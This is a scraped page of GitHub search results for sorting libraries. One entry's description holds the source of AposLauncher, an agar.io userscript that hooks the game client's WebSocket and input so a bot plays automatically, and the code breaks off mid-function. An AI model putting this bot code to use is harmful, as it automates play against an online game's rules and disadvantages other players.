376 skills found · Page 6 of 13
sindresorhus / Num SortSort an array of numbers
wdxa / ILNumericsmath lib for .NET. n-dim arrays, complex numbers, linear algebra, FFT, sorting, cells- and logical arrays as well as 3D plotting classes help developing algorithms on every platform supporting .NET.
KaterinaLupacheva / React Sorting With DropdownSource code for the tutorial React: how to dynamically sort an array of objects using the dropdown (with React Hooks)
trigady / Array Sorting Display And Shanghai Metro Line Planning本项目是同济大学数据结构暑期实践的大作业——排序算法分步展示与上海地铁线路规划，内含工程文件与报告（需配置Qt for C++环境）。必须要说明的是，我上传这次作业的主要目的是抛砖引玉，以期学弟学妹在做作业的过程中少走弯路，报告内容也仅供参考，切勿全局抄袭，否则后果自负。谢谢。
wo3kie / AssocVectorFlat sorted array with very fast insert and erase operations
THARUN1526 / QUICK SORT IN PYTHONA divide-and-conquer algorithm in Python. Select pivot, partition array, recursively sort subarrays. Place pivot in correct position, with lesser elements left, greater right. Repeat until array is sorted. Avg. time: O(n log n), space: O(log n).
CodeAvecAsnit / SortingAlgosThis repo contains the basic cpp algorithms for sorting arrays
Rashidaga18 / DSA RoadmapA data structure is a way of organizing and storing data in a computer so it can be accessed and manipulated efficiently. Examples include arrays, linked lists, stacks, queues, trees, and graphs, each designed for specific tasks like searching, sorting, or managing data relationships.
Lifestylerr / DAWD/*The MIT License (MIT) Copyright (c) 2015 Apostolique Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.*/ // ==UserScript== // @name AposLauncher // @namespace AposLauncher // @include http://agar.io/* // @version 4.124 // @grant none // @author http://www.twitch.tv/apostolique // ==/UserScript== var aposLauncherVersion = 4.124; Number.prototype.mod = function(n) { return ((this % n) + n) % n; }; Array.prototype.peek = function() { return this[this.length - 1]; }; var sha = "efde0488cc2cc176db48dd23b28a20b90314352b"; function getLatestCommit() { window.jQuery.ajax({ url: "https://api.github.com/repos/apostolique/Agar.io-bot/git/refs/heads/master", cache: false, dataType: "jsonp" }).done(function(data) { console.dir(data.data); console.log("hmm: " + data.data.object.sha); sha = data.data.object.sha; function update(prefix, name, url) { window.jQuery(document.body).prepend("<div id='" + prefix + "Dialog' style='position: absolute; left: 0px; right: 0px; top: 0px; bottom: 0px; z-index: 100; display: none;'>"); window.jQuery('#' + prefix + 'Dialog').append("<div id='" + prefix + "Message' style='width: 350px; background-color: #FFFFFF; margin: 100px auto; border-radius: 15px; padding: 5px 15px 5px 15px;'>"); window.jQuery('#' + prefix + 'Message').append("<h2>UPDATE TIME!!!</h2>"); window.jQuery('#' + prefix + 'Message').append("<p>Grab the update for: <a id='" + prefix + "Link' href='" + url + "' target=\"_blank\">" + name + "</a></p>"); window.jQuery('#' + prefix + 'Link').on('click', function() { window.jQuery("#" + prefix + "Dialog").hide(); window.jQuery("#" + prefix + "Dialog").remove(); }); window.jQuery("#" + prefix + "Dialog").show(); } window.jQuery.get('https://raw.githubusercontent.com/Apostolique/Agar.io-bot/master/launcher.user.js?' + Math.floor((Math.random() * 1000000) + 1), function(data) { var latestVersion = data.replace(/(\r\n|\n|\r)/gm, ""); latestVersion = latestVersion.substring(latestVersion.indexOf("// @version") + 11, latestVersion.indexOf("// @grant")); latestVersion = parseFloat(latestVersion + 0.0000); var myVersion = parseFloat(aposLauncherVersion + 0.0000); if (latestVersion > myVersion) { update("aposLauncher", "launcher.user.js", "https://github.com/Apostolique/Agar.io-bot/blob/" + sha + "/launcher.user.js/"); } console.log('Current launcher.user.js Version: ' + myVersion + " on Github: " + latestVersion); }); }).fail(function() {}); } getLatestCommit(); console.log("Running Bot Launcher!"); (function(d, e) { //UPDATE function keyAction(e) { if (84 == e.keyCode) { console.log("Toggle"); toggle = !toggle; } if (82 == e.keyCode) { console.log("ToggleDraw"); toggleDraw = !toggleDraw; } if (68 == e.keyCode) { window.setDarkTheme(!getDarkBool()); } if (70 == e.keyCode) { window.setShowMass(!getMassBool()); } if (69 == e.keyCode) { if (message.length > 0) { window.setMessage([]); window.onmouseup = function() {}; window.ignoreStream = true; } else { window.ignoreStream = false; window.refreshTwitch(); } } window.botList[botIndex].keyAction(e); } function humanPlayer() { //Don't need to do anything. return [getPointX(), getPointY()]; } function pb() { //UPDATE window.botList = window.botList || []; window.jQuery('#nick').val(originalName); function HumanPlayerObject() { this.name = "Human"; this.keyAction = function(key) {}; this.displayText = function() { return []; }; this.mainLoop = humanPlayer; } var hpo = new HumanPlayerObject(); window.botList.push(hpo); window.updateBotList(); ya = !0; Pa(); setInterval(Pa, 18E4); var father = window.jQuery("#canvas").parent(); window.jQuery("#canvas").remove(); father.prepend("<canvas id='canvas'>"); G = za = document.getElementById("canvas"); f = G.getContext("2d"); G.onmousedown = function(a) { if (Qa) { var b = a.clientX - (5 + m / 5 / 2), c = a.clientY - (5 + m / 5 / 2); if (Math.sqrt(b * b + c * c) <= m / 5 / 2) { V(); H(17); return } } fa = a.clientX; ga = a.clientY; Aa(); V(); }; G.onmousemove = function(a) { fa = a.clientX; ga = a.clientY; Aa(); }; G.onmouseup = function() {}; /firefox/i.test(navigator.userAgent) ? document.addEventListener("DOMMouseScroll", Ra, !1) : document.body.onmousewheel = Ra; var a = !1, b = !1, c = !1; d.onkeydown = function(l) { //UPDATE if (!window.jQuery('#nick').is(":focus")) { 32 != l.keyCode || a || (V(), H(17), a = !0); 81 != l.keyCode || b || (H(18), b = !0); 87 != l.keyCode || c || (V(), H(21), c = !0); 27 == l.keyCode && Sa(!0); //UPDATE keyAction(l); } }; d.onkeyup = function(l) { 32 == l.keyCode && (a = !1); 87 == l.keyCode && (c = !1); 81 == l.keyCode && b && (H(19), b = !1); }; d.onblur = function() { H(19); c = b = a = !1 }; d.onresize = Ta; d.requestAnimationFrame(Ua); setInterval(V, 40); y && e("#region").val(y); Va(); ha(e("#region").val()); 0 == Ba && y && I(); W = !0; e("#overlays").show(); Ta(); d.location.hash && 6 <= d.location.hash.length && Wa(d.location.hash) } function Ra(a) { J *= Math.pow(.9, a.wheelDelta / -120 || a.detail || 0); //UPDATE 0.07 > J && (J = 0.07); J > 4 / h && (J = 4 / h) } function qb() { if (.4 > h) X = null; else { for (var a = Number.POSITIVE_INFINITY, b = Number.POSITIVE_INFINITY, c = Number.NEGATIVE_INFINITY, l = Number.NEGATIVE_INFINITY, d = 0, p = 0; p < v.length; p++) { var g = v[p]; !g.N() || g.R || 20 >= g.size * h || (d = Math.max(g.size, d), a = Math.min(g.x, a), b = Math.min(g.y, b), c = Math.max(g.x, c), l = Math.max(g.y, l)) } X = rb.ka({ ca: a - 10, da: b - 10, oa: c + 10, pa: l + 10, ma: 2, na: 4 }); for (p = 0; p < v.length; p++) if (g = v[p], g.N() && !(20 >= g.size * h)) for (a = 0; a < g.a.length; ++a) b = g.a[a].x, c = g.a[a].y, b < s - m / 2 / h || c < t - r / 2 / h || b > s + m / 2 / h || c > t + r / 2 / h || X.m(g.a[a]) } } function Aa() { //UPDATE if (toggle || window.botList[botIndex].name == "Human") { setPoint(((fa - m / 2) / h + s), ((ga - r / 2) / h + t)); } } function Pa() { null == ka && (ka = {}, e("#region").children().each(function() { var a = e(this), b = a.val(); b && (ka[b] = a.text()) })); e.get("https://m.agar.io/info", function(a) { var b = {}, c; for (c in a.regions) { var l = c.split(":")[0]; b[l] = b[l] || 0; b[l] += a.regions[c].numPlayers } for (c in b) e('#region option[value="' + c + '"]').text(ka[c] + " (" + b[c] + " players)") }, "json") } function Xa() { e("#adsBottom").hide(); e("#overlays").hide(); W = !1; Va(); d.googletag && d.googletag.pubads && d.googletag.pubads().clear(d.aa) } function ha(a) { a && a != y && (e("#region").val() != a && e("#region").val(a), y = d.localStorage.location = a, e(".region-message").hide(), e(".region-message." + a).show(), e(".btn-needs-server").prop("disabled", !1), ya && I()) } function Sa(a) { W || (K = null, sb(), a && (x = 1), W = !0, e("#overlays").fadeIn(a ? 200 : 3E3)) } function Y(a) { e("#helloContainer").attr("data-gamemode", a); P = a; e("#gamemode").val(a) } function Va() { e("#region").val() ? d.localStorage.location = e("#region").val() : d.localStorage.location && e("#region").val(d.localStorage.location); e("#region").val() ? e("#locationKnown").append(e("#region")) : e("#locationUnknown").append(e("#region")) } function sb() { la && (la = !1, setTimeout(function() { la = !0 //UPDATE }, 6E4 * Ya)) } function Z(a) { return d.i18n[a] || d.i18n_dict.en[a] || a } function Za() { var a = ++Ba; console.log("Find " + y + P); e.ajax("https://m.agar.io/findServer", { error: function() { setTimeout(Za, 1E3) }, success: function(b) { a == Ba && (b.alert && alert(b.alert), Ca("ws://" + b.ip, b.token)) }, dataType: "json", method: "POST", cache: !1, crossDomain: !0, data: (y + P || "?") + "\n154669603" }) } function I() { ya && y && (e("#connecting").show(), Za()) } function Ca(a, b) { if (q) { q.onopen = null; q.onmessage = null; q.onclose = null; try { q.close() } catch (c) {} q = null } Da.la && (a = "ws://" + Da.la); if (null != L) { var l = L; L = function() { l(b) } } if (tb) { var d = a.split(":"); a = d[0] + "s://ip-" + d[1].replace(/\./g, "-").replace(/\//g, "") + ".tech.agar.io:" + (+d[2] + 2E3) } M = []; k = []; E = {}; v = []; Q = []; F = []; z = A = null; R = 0; $ = !1; console.log("Connecting to " + a); //UPDATE serverIP = a; q = new WebSocket(a); q.binaryType = "arraybuffer"; q.onopen = function() { var a; console.log("socket open"); a = N(5); a.setUint8(0, 254); a.setUint32(1, 5, !0); O(a); a = N(5); a.setUint8(0, 255); a.setUint32(1, 154669603, !0); O(a); a = N(1 + b.length); a.setUint8(0, 80); for (var c = 0; c < b.length; ++c) a.setUint8(c + 1, b.charCodeAt(c)); O(a); $a() }; q.onmessage = ub; q.onclose = vb; q.onerror = function() { console.log("socket error") } } function N(a) { return new DataView(new ArrayBuffer(a)) } function O(a) { q.send(a.buffer) } function vb() { $ && (ma = 500); console.log("socket close"); setTimeout(I, ma); ma *= 2 } function ub(a) { wb(new DataView(a.data)) } function wb(a) { function b() { for (var b = "";;) { var d = a.getUint16(c, !0); c += 2; if (0 == d) break; b += String.fromCharCode(d) } return b } var c = 0; 240 == a.getUint8(c) && (c += 5); switch (a.getUint8(c++)) { case 16: xb(a, c); break; case 17: aa = a.getFloat32(c, !0); c += 4; ba = a.getFloat32(c, !0); c += 4; ca = a.getFloat32(c, !0); c += 4; break; case 20: k = []; M = []; break; case 21: Ea = a.getInt16(c, !0); c += 2; Fa = a.getInt16(c, !0); c += 2; Ga || (Ga = !0, na = Ea, oa = Fa); break; case 32: M.push(a.getUint32(c, !0)); c += 4; break; case 49: if (null != A) break; var l = a.getUint32(c, !0), c = c + 4; F = []; for (var d = 0; d < l; ++d) { var p = a.getUint32(c, !0), c = c + 4; F.push({ id: p, name: b() }) } ab(); break; case 50: A = []; l = a.getUint32(c, !0); c += 4; for (d = 0; d < l; ++d) A.push(a.getFloat32(c, !0)), c += 4; ab(); break; case 64: pa = a.getFloat64(c, !0); c += 8; qa = a.getFloat64(c, !0); c += 8; ra = a.getFloat64(c, !0); c += 8; sa = a.getFloat64(c, !0); c += 8; aa = (ra + pa) / 2; ba = (sa + qa) / 2; ca = 1; 0 == k.length && (s = aa, t = ba, h = ca); break; case 81: var g = a.getUint32(c, !0), c = c + 4, e = a.getUint32(c, !0), c = c + 4, f = a.getUint32(c, !0), c = c + 4; setTimeout(function() { S({ e: g, f: e, d: f }) }, 1200) } } function xb(a, b) { bb = C = Date.now(); $ || ($ = !0, e("#connecting").hide(), cb(), L && (L(), L = null)); var c = Math.random(); Ha = !1; var d = a.getUint16(b, !0); b += 2; for (var u = 0; u < d; ++u) { var p = E[a.getUint32(b, !0)], g = E[a.getUint32(b + 4, !0)]; b += 8; p && g && (g.X(), g.s = g.x, g.t = g.y, g.r = g.size, g.J = p.x, g.K = p.y, g.q = g.size, g.Q = C) } for (u = 0;;) { d = a.getUint32(b, !0); b += 4; if (0 == d) break; ++u; var f, p = a.getInt16(b, !0); b += 4; g = a.getInt16(b, !0); b += 4; f = a.getInt16(b, !0); b += 2; for (var h = a.getUint8(b++), w = a.getUint8(b++), m = a.getUint8(b++), h = (h << 16 | w << 8 | m).toString(16); 6 > h.length;) h = "0" + h; var h = "#" + h, w = a.getUint8(b++), m = !!(w & 1), r = !!(w & 16); w & 2 && (b += 4); w & 4 && (b += 8); w & 8 && (b += 16); for (var q, n = "";;) { q = a.getUint16(b, !0); b += 2; if (0 == q) break; n += String.fromCharCode(q) } q = n; n = null; E.hasOwnProperty(d) ? (n = E[d], n.P(), n.s = n.x, n.t = n.y, n.r = n.size, n.color = h) : (n = new da(d, p, g, f, h, q), v.push(n), E[d] = n, n.ua = p, n.va = g); n.h = m; n.n = r; n.J = p; n.K = g; n.q = f; n.sa = c; n.Q = C; n.ba = w; q && n.B(q); - 1 != M.indexOf(d) && -1 == k.indexOf(n) && (document.getElementById("overlays").style.display = "none", k.push(n), n.birth = getLastUpdate(), n.birthMass = (n.size * n.size / 100), 1 == k.length && (s = n.x, t = n.y, db())) //UPDATE interNodes[d] = window.getCells()[d]; } //UPDATE Object.keys(interNodes).forEach(function(element, index) { //console.log("start: " + interNodes[element].updateTime + " current: " + D + " life: " + (D - interNodes[element].updateTime)); var isRemoved = !window.getCells().hasOwnProperty(element); //console.log("Time not updated: " + (window.getLastUpdate() - interNodes[element].getUptimeTime())); if (isRemoved && (window.getLastUpdate() - interNodes[element].getUptimeTime()) > 3000) { delete interNodes[element]; } else { for (var i = 0; i < getPlayer().length; i++) { if (isRemoved && computeDistance(getPlayer()[i].x, getPlayer()[i].y, interNodes[element].x, interNodes[element].y) < getPlayer()[i].size + 710) { delete interNodes[element]; break; } } } }); c = a.getUint32(b, !0); b += 4; for (u = 0; u < c; u++) d = a.getUint32(b, !0), b += 4, n = E[d], null != n && n.X(); //UPDATE //Ha && 0 == k.length && Sa(!1) } //UPDATE function computeDistance(x1, y1, x2, y2) { var xdis = x1 - x2; // <--- FAKE AmS OF COURSE! var ydis = y1 - y2; var distance = Math.sqrt(xdis * xdis + ydis * ydis); return distance; } /** * Some horse shit of some sort. * @return Horse Shit */ function screenDistance() { return Math.min(computeDistance(getOffsetX(), getOffsetY(), screenToGameX(getWidth()), getOffsetY()), computeDistance(getOffsetX(), getOffsetY(), getOffsetX(), screenToGameY(getHeight()))); } window.verticalDistance = function() { return computeDistance(screenToGameX(0), screenToGameY(0), screenToGameX(getWidth()), screenToGameY(getHeight())); } /** * A conversion from the screen's horizontal coordinate system * to the game's horizontal coordinate system. * @param x in the screen's coordinate system * @return x in the game's coordinate system */ window.screenToGameX = function(x) { return (x - getWidth() / 2) / getRatio() + getX(); } /** * A conversion from the screen's vertical coordinate system * to the game's vertical coordinate system. * @param y in the screen's coordinate system * @return y in the game's coordinate system */ window.screenToGameY = function(y) { return (y - getHeight() / 2) / getRatio() + getY(); } window.drawPoint = function(x_1, y_1, drawColor, text) { if (!toggleDraw) { dPoints.push([x_1, y_1, drawColor]); dText.push(text); } } window.drawArc = function(x_1, y_1, x_2, y_2, x_3, y_3, drawColor) { if (!toggleDraw) { var radius = computeDistance(x_1, y_1, x_3, y_3); dArc.push([x_1, y_1, x_2, y_2, x_3, y_3, radius, drawColor]); } } window.drawLine = function(x_1, y_1, x_2, y_2, drawColor) { if (!toggleDraw) { lines.push([x_1, y_1, x_2, y_2, drawColor]); } } window.drawCircle = function(x_1, y_1, radius, drawColor) { if (!toggleDraw) { circles.push([x_1, y_1, radius, drawColor]); } } function V() { //UPDATE if (getPlayer().length == 0 && !reviving && ~~(getCurrentScore() / 100) > 0) { console.log("Dead: " + ~~(getCurrentScore() / 100)); apos('send', 'pageview'); } if (getPlayer().length == 0) { console.log("Revive"); setNick(originalName); reviving = true; } else if (getPlayer().length > 0 && reviving) { reviving = false; console.log("Done Reviving!"); } if (T()) { var a = fa - m / 2; var b = ga - r / 2; 64 > a * a + b * b || .01 > Math.abs(eb - ia) && .01 > Math.abs(fb - ja) || (eb = ia, fb = ja, a = N(13), a.setUint8(0, 16), a.setInt32(1, ia, !0), a.setInt32(5, ja, !0), a.setUint32(9, 0, !0), O(a)) } } function cb() { if (T() && $ && null != K) { var a = N(1 + 2 * K.length); a.setUint8(0, 0); for (var b = 0; b < K.length; ++b) a.setUint16(1 + 2 * b, K.charCodeAt(b), !0); O(a) } } function T() { return null != q && q.readyState == q.OPEN } window.opCode = function(a) { console.log("Sending op code."); H(parseInt(a)); } function H(a) { if (T()) { var b = N(1); b.setUint8(0, a); O(b) } } function $a() { if (T() && null != B) { var a = N(1 + B.length); a.setUint8(0, 81); for (var b = 0; b < B.length; ++b) a.setUint8(b + 1, B.charCodeAt(b)); O(a) } } function Ta() { m = d.innerWidth; r = d.innerHeight; za.width = G.width = m; za.height = G.height = r; var a = e("#helloContainer"); a.css("transform", "none"); var b = a.height(), c = d.innerHeight; b > c / 1.1 ? a.css("transform", "translate(-50%, -50%) scale(" + c / b / 1.1 + ")") : a.css("transform", "translate(-50%, -50%)"); gb() } function hb() { var a; a = Math.max(r / 1080, m / 1920); return a *= J } function yb() { if (0 != k.length) { for (var a = 0, b = 0; b < k.length; b++) a += k[b].size; a = Math.pow(Math.min(64 / a, 1), .4) * hb(); h = (9 * h + a) / 10 } } function gb() { //UPDATE dPoints = []; circles = []; dArc = []; dText = []; lines = []; var a, b = Date.now(); ++zb; C = b; if (0 < k.length) { yb(); for (var c = a = 0, d = 0; d < k.length; d++) k[d].P(), a += k[d].x / k.length, c += k[d].y / k.length; aa = a; ba = c; ca = h; s = (s + a) / 2; t = (t + c) / 2; } else s = (29 * s + aa) / 30, t = (29 * t + ba) / 30, h = (9 * h + ca * hb()) / 10; qb(); Aa(); Ia || f.clearRect(0, 0, m, r); Ia ? (f.fillStyle = ta ? "#111111" : "#F2FBFF", f.globalAlpha = .05, f.fillRect(0, 0, m, r), f.globalAlpha = 1) : Ab(); v.sort(function(a, b) { return a.size == b.size ? a.id - b.id : a.size - b.size }); f.save(); f.translate(m / 2, r / 2); f.scale(h, h); f.translate(-s, -t); //UPDATE f.save(); f.beginPath(); f.lineWidth = 5; f.strokeStyle = (getDarkBool() ? '#F2FBFF' : '#111111'); f.moveTo(getMapStartX(), getMapStartY()); f.lineTo(getMapStartX(), getMapEndY()); f.stroke(); f.moveTo(getMapStartX(), getMapStartY()); f.lineTo(getMapEndX(), getMapStartY()); f.stroke(); f.moveTo(getMapEndX(), getMapStartY()); f.lineTo(getMapEndX(), getMapEndY()); f.stroke(); f.moveTo(getMapStartX(), getMapEndY()); f.lineTo(getMapEndX(), getMapEndY()); f.stroke(); f.restore(); for (d = 0; d < v.length; d++) v[d].w(f); for (d = 0; d < Q.length; d++) Q[d].w(f); //UPDATE if (getPlayer().length > 0) { var moveLoc = window.botList[botIndex].mainLoop(); if (!toggle) { setPoint(moveLoc[0], moveLoc[1]); } } customRender(f); if (Ga) { na = (3 * na + Ea) / 4; oa = (3 * oa + Fa) / 4; f.save(); f.strokeStyle = "#FFAAAA"; f.lineWidth = 10; f.lineCap = "round"; f.lineJoin = "round"; f.globalAlpha = .5; f.beginPath(); for (d = 0; d < k.length; d++) f.moveTo(k[d].x, k[d].y), f.lineTo(na, oa); f.stroke(); f.restore(); } f.restore(); z && z.width && f.drawImage(z, m - z.width - 10, 10); R = Math.max(R, Bb()); //UPDATE var currentDate = new Date(); var nbSeconds = 0; if (getPlayer().length > 0) { //nbSeconds = currentDate.getSeconds() + currentDate.getMinutes() * 60 + currentDate.getHours() * 3600 - lifeTimer.getSeconds() - lifeTimer.getMinutes() * 60 - lifeTimer.getHours() * 3600; nbSeconds = (currentDate.getTime() - lifeTimer.getTime()) / 1000; } bestTime = Math.max(nbSeconds, bestTime); var displayText = 'Score: ' + ~~(R / 100) + " Current Time: " + nbSeconds + " seconds."; 0 != R && (null == ua && (ua = new va(24, "#FFFFFF")), ua.C(displayText), c = ua.L(), a = c.width, f.globalAlpha = .2, f.fillStyle = "#000000", f.fillRect(10, r - 10 - 24 - 10, a + 10, 34), f.globalAlpha = 1, f.drawImage(c, 15, r - 10 - 24 - 5)); Cb(); b = Date.now() - b; b > 1E3 / 60 ? D -= .01 : b < 1E3 / 65 && (D += .01);.4 > D && (D = .4); 1 < D && (D = 1); b = C - ib; !T() || W ? (x += b / 2E3, 1 < x && (x = 1)) : (x -= b / 300, 0 > x && (x = 0)); 0 < x && (f.fillStyle = "#000000", f.globalAlpha = .5 * x, f.fillRect(0, 0, m, r), f.globalAlpha = 1); ib = C drawStats(f); } //UPDATE function customRender(d) { d.save(); for (var i = 0; i < lines.length; i++) { d.beginPath(); d.lineWidth = 5; if (lines[i][4] == 0) { d.strokeStyle = "#FF0000"; } else if (lines[i][4] == 1) { d.strokeStyle = "#00FF00"; } else if (lines[i][4] == 2) { d.strokeStyle = "#0000FF"; } else if (lines[i][4] == 3) { d.strokeStyle = "#FF8000"; } else if (lines[i][4] == 4) { d.strokeStyle = "#8A2BE2"; } else if (lines[i][4] == 5) { d.strokeStyle = "#FF69B4"; } else if (lines[i][4] == 6) { d.strokeStyle = "#008080"; } else if (lines[i][4] == 7) { d.strokeStyle = (getDarkBool() ? '#F2FBFF' : '#111111'); } else { d.strokeStyle = "#000000"; } d.moveTo(lines[i][0], lines[i][1]); d.lineTo(lines[i][2], lines[i][3]); d.stroke(); } d.restore(); d.save(); for (var i = 0; i < circles.length; i++) { if (circles[i][3] == 0) { d.strokeStyle = "#FF0000"; } else if (circles[i][3] == 1) { d.strokeStyle = "#00FF00"; } else if (circles[i][3] == 2) { d.strokeStyle = "#0000FF"; } else if (circles[i][3] == 3) { d.strokeStyle = "#FF8000"; } else if (circles[i][3] == 4) { d.strokeStyle = "#8A2BE2"; } else if (circles[i][3] == 5) { d.strokeStyle = "#FF69B4"; } else if (circles[i][3] == 6) { d.strokeStyle = "#008080"; } else if (circles[i][3] == 7) { d.strokeStyle = (getDarkBool() ? '#F2FBFF' : '#111111'); } else { d.strokeStyle = "#000000"; } d.beginPath(); d.lineWidth = 10; //d.setLineDash([5]); d.globalAlpha = 0.3; d.arc(circles[i][0], circles[i][1], circles[i][2], 0, 2 * Math.PI, false); d.stroke(); } d.restore(); d.save(); for (var i = 0; i < dArc.length; i++) { if (dArc[i][7] == 0) { d.strokeStyle = "#FF0000"; } else if (dArc[i][7] == 1) { d.strokeStyle = "#00FF00"; } else if (dArc[i][7] == 2) { d.strokeStyle = "#0000FF"; } else if (dArc[i][7] == 3) { d.strokeStyle = "#FF8000"; } else if (dArc[i][7] == 4) { d.strokeStyle = "#8A2BE2"; } else if (dArc[i][7] == 5) { d.strokeStyle = "#FF69B4"; } else if (dArc[i][7] == 6) { d.strokeStyle = "#008080"; } else if (dArc[i][7] == 7) { d.strokeStyle = (getDarkBool() ? '#F2FBFF' : '#111111'); } else { d.strokeStyle = "#000000"; } d.beginPath(); d.lineWidth = 5; var ang1 = Math.atan2(dArc[i][1] - dArc[i][5], dArc[i][0] - dArc[i][4]); var ang2 = Math.atan2(dArc[i][3] - dArc[i][5], dArc[i][2] - dArc[i][4]); d.arc(dArc[i][4], dArc[i][5], dArc[i][6], ang1, ang2, false); d.stroke(); } d.restore(); d.save(); for (var i = 0; i < dPoints.length; i++) { if (dText[i] == "") { var radius = 10; d.beginPath(); d.arc(dPoints[i][0], dPoints[i][1], radius, 0, 2 * Math.PI, false); if (dPoints[i][2] == 0) { d.fillStyle = "black"; } else if (dPoints[i][2] == 1) { d.fillStyle = "yellow"; } else if (dPoints[i][2] == 2) { d.fillStyle = "blue"; } else if (dPoints[i][2] == 3) { d.fillStyle = "red"; } else if (dPoints[i][2] == 4) { d.fillStyle = "#008080"; } else if (dPoints[i][2] == 5) { d.fillStyle = "#FF69B4"; } else { d.fillStyle = "#000000"; } d.fill(); d.lineWidth = 2; d.strokeStyle = '#003300'; d.stroke(); } else { var text = new va(18, (getDarkBool() ? '#F2FBFF' : '#111111'), true, (getDarkBool() ? '#111111' : '#F2FBFF')); text.C(dText[i]); var textRender = text.L(); d.drawImage(textRender, dPoints[i][0] - (textRender.width / 2), dPoints[i][1] - (textRender.height / 2)); } } d.restore(); } function drawStats(d) { d.save() sessionScore = Math.max(getCurrentScore(), sessionScore); var botString = window.botList[botIndex].displayText(); var debugStrings = []; debugStrings.push("Bot: " + window.botList[botIndex].name); debugStrings.push("Launcher: AposLauncher " + aposLauncherVersion); debugStrings.push("T - Bot: " + (!toggle ? "On" : "Off")); debugStrings.push("R - Lines: " + (!toggleDraw ? "On" : "Off")); for (var i = 0; i < botString.length; i++) { debugStrings.push(botString[i]); } debugStrings.push(""); debugStrings.push("Best Score: " + ~~(sessionScore / 100)); debugStrings.push("Best Time: " + bestTime + " seconds"); debugStrings.push(""); debugStrings.push(serverIP); if (getPlayer().length > 0) { var offsetX = -getMapStartX(); var offsetY = -getMapStartY(); debugStrings.push("Location: " + Math.floor(getPlayer()[0].x + offsetX) + ", " + Math.floor(getPlayer()[0].y + offsetY)); } var offsetValue = 20; var text = new va(18, (getDarkBool() ? '#F2FBFF' : '#111111')); for (var i = 0; i < debugStrings.length; i++) { text.C(debugStrings[i]); var textRender = text.L(); d.drawImage(textRender, 20, offsetValue); offsetValue += textRender.height; } if (message.length > 0) { var mRender = []; var mWidth = 0; var mHeight = 0; for (var i = 0; i < message.length; i++) { var mText = new va(28, '#FF0000', true, '#000000'); mText.C(message[i]); mRender.push(mText.L()); if (mRender[i].width > mWidth) { mWidth = mRender[i].width; } mHeight += mRender[i].height; } var mX = getWidth() / 2 - mWidth / 2; var mY = 20; d.globalAlpha = 0.4; d.fillStyle = '#000000'; d.fillRect(mX - 10, mY - 10, mWidth + 20, mHeight + 20); d.globalAlpha = 1; var mOffset = mY; for (var i = 0; i < mRender.length; i++) { d.drawImage(mRender[i], getWidth() / 2 - mRender[i].width / 2, mOffset); mOffset += mRender[i].height; } } d.restore(); } function Ab() { f.fillStyle = ta ? "#111111" : "#F2FBFF"; f.fillRect(0, 0, m, r); f.save(); f.strokeStyle = ta ? "#AAAAAA" : "#000000"; f.globalAlpha = .2 * h; for (var a = m / h, b = r / h, c = (a / 2 - s) % 50; c < a; c += 50) f.beginPath(), f.moveTo(c * h - .5, 0), f.lineTo(c * h - .5, b * h), f.stroke(); for (c = (b / 2 - t) % 50; c < b; c += 50) f.beginPath(), f.moveTo(0, c * h - .5), f.lineTo(a * h, c * h - .5), f.stroke(); f.restore() } function Cb() { if (Qa && Ja.width) { var a = m / 5; f.drawImage(Ja, 5, 5, a, a) } } function Bb() { for (var a = 0, b = 0; b < k.length; b++) a += k[b].q * k[b].q; return a } function ab() { z = null; if (null != A || 0 != F.length) if (null != A || wa) { z = document.createElement("canvas"); var a = z.getContext("2d"), b = 60, b = null == A ? b + 24 * F.length : b + 180, c = Math.min(200, .3 * m) / 200; z.width = 200 * c; z.height = b * c; a.scale(c, c); a.globalAlpha = .4; a.fillStyle = "#000000"; a.fillRect(0, 0, 200, b); a.globalAlpha = 1; a.fillStyle = "#FFFFFF"; c = null; c = Z("leaderboard"); a.font = "30px Ubuntu"; a.fillText(c, 100 - a.measureText(c).width / 2, 40); if (null == A) for (a.font = "20px Ubuntu", b = 0; b < F.length; ++b) c = F[b].name || Z("unnamed_cell"), wa || (c = Z("unnamed_cell")), -1 != M.indexOf(F[b].id) ? (k[0].name && (c = k[0].name), a.fillStyle = "#FFAAAA") : a.fillStyle = "#FFFFFF", c = b + 1 + ". " + c, a.fillText(c, 100 - a.measureText(c).width / 2, 70 + 24 * b); else for (b = c = 0; b < A.length; ++b) { var d = c + A[b] * Math.PI * 2; a.fillStyle = Db[b + 1]; a.beginPath(); a.moveTo(100, 140); a.arc(100, 140, 80, c, d, !1); a.fill(); c = d } } } function Ka(a, b, c, d, e) { this.V = a; this.x = b; this.y = c; this.i = d; this.b = e } function da(a, b, c, d, e, p) { this.id = a; this.s = this.x = b; this.t = this.y = c; this.r = this.size = d; this.color = e; this.a = []; this.W(); this.B(p) } function va(a, b, c, d) { a && (this.u = a); b && (this.S = b); this.U = !!c; d && (this.v = d) } function S(a, b) { var c = "1" == e("#helloContainer").attr("data-has-account-data"); e("#helloContainer").attr("data-has-account-data", "1"); if (null == b && d.localStorage.loginCache) { var l = JSON.parse(d.localStorage.loginCache); l.f = a.f; l.d = a.d; l.e = a.e; d.localStorage.loginCache = JSON.stringify(l) } if (c) { var u = +e(".agario-exp-bar .progress-bar-text").first().text().split("/")[0], c = +e(".agario-exp-bar .progress-bar-text").first().text().split("/")[1].split(" ")[0], l = e(".agario-profile-panel .progress-bar-star").first().text(); if (l != a.e) S({ f: c, d: c, e: l }, function() { e(".agario-profile-panel .progress-bar-star").text(a.e); e(".agario-exp-bar .progress-bar").css("width", "100%"); e(".progress-bar-star").addClass("animated tada").one("webkitAnimationEnd mozAnimationEnd MSAnimationEnd oanimationend animationend", function() { e(".progress-bar-star").removeClass("animated tada") }); setTimeout(function() { e(".agario-exp-bar .progress-bar-text").text(a.d + "/" + a.d + " XP"); S({ f: 0, d: 